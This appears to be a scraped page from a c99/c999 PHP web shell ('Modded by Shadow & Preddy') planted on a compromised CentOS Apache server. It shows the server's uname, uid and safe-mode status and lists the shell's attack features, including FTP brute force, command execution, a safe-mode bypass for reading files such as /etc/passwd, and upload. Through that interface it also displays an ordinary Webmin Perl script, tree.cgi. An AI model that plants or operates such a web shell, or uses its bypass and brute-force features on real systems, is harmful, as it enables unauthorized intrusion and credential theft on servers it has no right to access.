!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/software/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tree.cgi (2.32 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# tree.cgi
# Display the package tree

require './software-lib.pl';
&ui_print_header(undef, $text{'index_tree'}, "");

$spacer = " "x3;

# work out the package heirarchy..
$n = &list_packages();
for($i=0; $i<$n; $i++) {
    push(@pack, $packages{$i,'name'});
    push(@vers, $packages{$i,'version'});
    push(@svers, $packages{$i,'shortversion'} ||
             $packages{$i,'version'});
    push(@class, $packages{$i,'class'});
    push(@desc, $packages{$i,'desc'});
    }
@order = sort { lc($pack[$a]) cmp lc($pack[$b]) } (0 .. $n-1);
$heir{""} = "";
foreach $c (sort { $a cmp $b } &unique(@class)) {
    if (!$c) { next; }
    @w = split(/\//, $c);
    $p = join('/', @w[0..$#w-1]);        # parent class
    if (!defined($heir{$p})) {
        $pp = join('/', @w[0..$#w-2]);    # grandparent class
        $heir{$pp} .= "$p\0";
        $ppp = join('/', @w[0..$#w-3]);    # great-grandparent class
        if ($ppp || 1) {
            $heir{$ppp} .= "$pp\0";
            }
        }
    $heir{$p} .= "$c\0";
    $hasclasses++;
    }

# get the current open list
%heiropen = map { $_, 1 } &get_heiropen();
$heiropen{""} = 1;

# traverse the heirarchy
print "<table width=100%>\n";
&traverse("", 0);
print "</table>\n";
if ($hasclasses) {
    print "<a href=closeall.cgi>$text{'index_close'}</a>\n";
    print "<a href=openall.cgi>$text{'index_open'}</a><p>\n";
    }

&ui_print_footer("", $text{'index_return'});

sub traverse
{
local($s, $act, $i);

# Show the icon and class name
print "<tr> <td>", $spacer x $_[1];
if ($_[0]) {
    print "<a name=\"$_[0]\"></a>\n";
    $act = $heiropen{$_[0]} ? "close" : "open";
    print "<a href=\"$act.cgi?what=",&urlize($_[0]),"\">";
    $_[0] =~ /([^\/]+)$/;
    print "<img border=0 src=images/$act.gif></a>&nbsp; $1</td>\n";
    }
else {
    print "<img src=images/close.gif> <i>$text{'index_all'}</i></td>\n";
    }

print "<td><br></td> </tr>\n";
if ($heiropen{$_[0]}) {
    # print packages followed by sub-folders
    foreach $i (@order) {
        if ($class[$i] eq $_[0]) {
            print "<tr> <td nowrap>", $spacer x ($_[1]+1);
            print "<img border=0 src=images/pack.gif></a>&nbsp;\n";
            print "<a href=\"edit_pack.cgi?package=",
                  &urlize($pack[$i]),"&version=",
                  &urlize($vers[$i]),"\">",&html_escape($pack[$i].
                  ($svers[$i] ? " $svers[$i]" : "")),"</a></td>\n";
            print "<td>",&html_escape($desc[$i]),"</td>\n";
            print "</tr>\n";
            }
        }
    foreach $s (&unique(split(/\0+/, $heir{$_[0]}))) {
        &traverse($s, $_[1]+1);
        }
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--